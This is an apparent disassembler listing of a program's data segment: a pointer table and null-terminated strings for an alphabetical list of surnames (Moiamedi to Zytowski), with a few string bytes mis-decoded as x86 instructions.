dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
; ---------------------------------------------------------------------------
and ah, ch
inc edx
add [esp+ebp*8], dl
inc edx
add [esp+ebp*8], cl
inc edx
add [esp+ebp*8], al
inc edx
add ah, bh
jmp short loc_42EC09
; ---------------------------------------------------------------------------
align 4
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBD4o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBD0o
align 4
aZurn db 'Zurn',0 ; DATA XREF: ___:0042EBCCo
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EBC8o
aZoldak db 'Zoldak',0
align 4
dd 6272655Ah
db 69h
; ---------------------------------------------------------------------------
loc_42EC09: ; CODE XREF: ___:0042EBC5j
outsb
imul eax, [eax], 6167655Ah
outsb
jnb short $+2
add [edx+61h], bl
outsb
db 67h
ja near ptr 0EC83h
insb
insb
; ---------------------------------------------------------------------------
dd 0
aZahedi db 'Zahedi',0
align 4
aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBB0o
aYu db 'Yu',0 ; DATA XREF: ___:0042EBACo
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBA8o
align 10h
aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBA4o
aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBA0o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EB9Co
align 4
aYesson db 'Yesson',0 ; DATA XREF: ___:0042EB98o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EB94o
aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EB90o
align 4
aYates db 'Yates',0 ; DATA XREF: ___:0042EB8Co
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB88o
aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB84o
align 4
aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB80o
align 4
aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB7Co
align 4
aVotey db 'Votey',0 ; DATA XREF: ___:0042EB78o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB74o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB70o
align 4
aWoods db 'Woods',0 ; DATA XREF: ___:0042EB6Co
align 4
aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB68o
align 4
aWoo db 'Woo',0 ; DATA XREF: ___:0042EB64o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB60o
align 4
aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB5Co
align 4
aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB58o
align 4
aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB54o
aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB50o
align 4
aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB4Co
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB48o
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB44o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB40o
align 10h
aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB3Co
align 4
aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB38o
align 10h
aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB34o
aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB30o
align 10h
aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB2Co
aViens db 'Viens',0 ; DATA XREF: ___:0042EB28o
align 10h
aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB24o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB20o
aViano db 'Viano',0 ; DATA XREF: ___:0042EB1Co
align 4
aViana db 'Viana',0 ; DATA XREF: ___:0042EB18o
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB14o
align 10h
aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB10o
align 4
aWhite db 'White',0 ; DATA XREF: ___:0042EB0Co
align 10h
aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB08o
aWhately db 'Whately',0 ; DATA XREF: ___:0042EB04o
aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB00o
align 4
aWescott db 'Wescott',0 ; DATA XREF: ___:0042EAFCo
aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EAF8o
align 4
aVenne db 'Venne',0 ; DATA XREF: ___:0042EAF4o
align 4
aWengret db 'Wengret',0 ; DATA XREF: ___:0042EAF0o
aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAECo
align 4
aWelles db 'Welles',0 ; DATA XREF: ___:0042EAE8o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAE4o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAE0o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EADCo
align 10h
aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAD8o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAD4o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAD0o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EACCo
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAC8o
aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAC4o
align 10h
aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAC0o
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EABCo
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAB8o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAB4o
aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAB0o
align 4
aWalter db 'Walter',0 ; DATA XREF: ___:0042EAACo
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAA8o
align 10h
aWales db 'Wales',0 ; DATA XREF: ___:0042EAA4o
align 4
aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAA0o
align 4
aValberg db 'Valberg',0 ; DATA XREF: ___:0042EA9Co
aWaite db 'Waite',0 ; DATA XREF: ___:0042EA98o
align 4
aVacca db 'Vacca',0 ; DATA XREF: ___:0042EA94o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EA90o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA8Co
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA88o
align 4
aUrban db 'Urban',0 ; DATA XREF: ___:0042EA84o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA80o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA7Co
align 4
aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA78o
align 10h
aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA74o
align 4
aTwells db 'Twells',0 ; DATA XREF: ___:0042EA70o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA6Co
align 4
aTurek db 'Turek',0 ; DATA XREF: ___:0042EA68o
align 4
aTurano db 'Turano',0 ; DATA XREF: ___:0042EA64o
align 4
aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA60o
align 4
aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA5Co
align 4
aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA58o
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA54o
align 10h
aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA50o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA4Co
aTruss db 'Truss',0 ; DATA XREF: ___:0042EA48o
align 4
aTroy db 'Troy',0 ; DATA XREF: ___:0042EA44o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA40o
aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA3Co
align 4
aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA38o
align 10h
aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA34o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA30o
align 4
aToye db 'Toye',0 ; DATA XREF: ___:0042EA2Co
align 4
aTowler db 'Towler',0 ; DATA XREF: ___:0042EA28o
align 4
aTorske db 'Torske',0 ; DATA XREF: ___:0042EA24o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA20o
aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA1Co
aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA18o
align 4
aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA14o
aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA10o
align 4
aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA0Co
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA08o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA04o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA00o
aTill db 'Till',0 ; DATA XREF: ___:0042E9FCo
align 4
aTierney db 'Tierney',0 ; DATA XREF: ___:0042E9F8o
aThroop db 'Throop',0 ; DATA XREF: ___:0042E9F4o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E9F0o
aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9ECo
aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9E8o
align 10h
aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9E4o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9E0o
align 4
aThan db 'Than',0 ; DATA XREF: ___:0042E9DCo
align 10h
aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9D8o
align 4
aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9D4o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9D0o
align 4
aTemes db 'Temes',0 ; DATA XREF: ___:0042E9CCo
align 4
aTeague db 'Teague',0 ; DATA XREF: ___:0042E9C8o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9C4o
align 4
aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9C0o
align 10h
aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9BCo
aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9B8o
align 10h
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9B4o
align 4
aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9B0o
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9ACo
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9A8o
align 4
aTai db 'Tai',0 ; DATA XREF: ___:0042E9A4o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9A0o
aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E99Co
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E998o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E994o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E990o
align 4
aSuo db 'Suo',0 ; DATA XREF: ___:0042E98Co
aSumner db 'Sumner',0 ; DATA XREF: ___:0042E988o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E984o
align 4
aStringer db 'Stringer',0 ; DATA XREF: ___:0042E980o
align 10h
aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E97Co
aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E978o
aStrange db 'Strange',0 ; DATA XREF: ___:0042E974o
aStott db 'Stott',0 ; DATA XREF: ___:0042E970o
align 10h
aStorer db 'Storer',0 ; DATA XREF: ___:0042E96Co
align 4
aStonich db 'Stonich',0 ; DATA XREF: ___:0042E968o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E964o
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E960o
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0042E95Co
align 4
aStock db 'Stock',0 ; DATA XREF: ___:0042E958o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E954o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E950o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E94Co
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E948o
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E944o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E940o
aStefani db 'Stefani',0 ; DATA XREF: ___:0042E93Co
aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E938o
align 4
aStates db 'States',0 ; DATA XREF: ___:0042E934o
align 10h
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E930o
align 10h
aStang db 'Stang',0 ; DATA XREF: ___:0042E92Co
align 4
aStam db 'Stam',0 ; DATA XREF: ___:0042E928o
align 10h
aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E924o
aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E920o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E91Co
aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E918o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E914o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E910o
align 10h
aSperber db 'Sperber',0 ; DATA XREF: ___:0042E90Co
aSpence db 'Spence',0 ; DATA XREF: ___:0042E908o
align 10h
aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E904o
aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E900o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E8FCo
aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E8F8o
aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E8F4o
align 10h
aSoule db 'Soule',0 ; DATA XREF: ___:0042E8F0o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8ECo
align 10h
aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8E8o
align 4
aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8E4o
align 10h
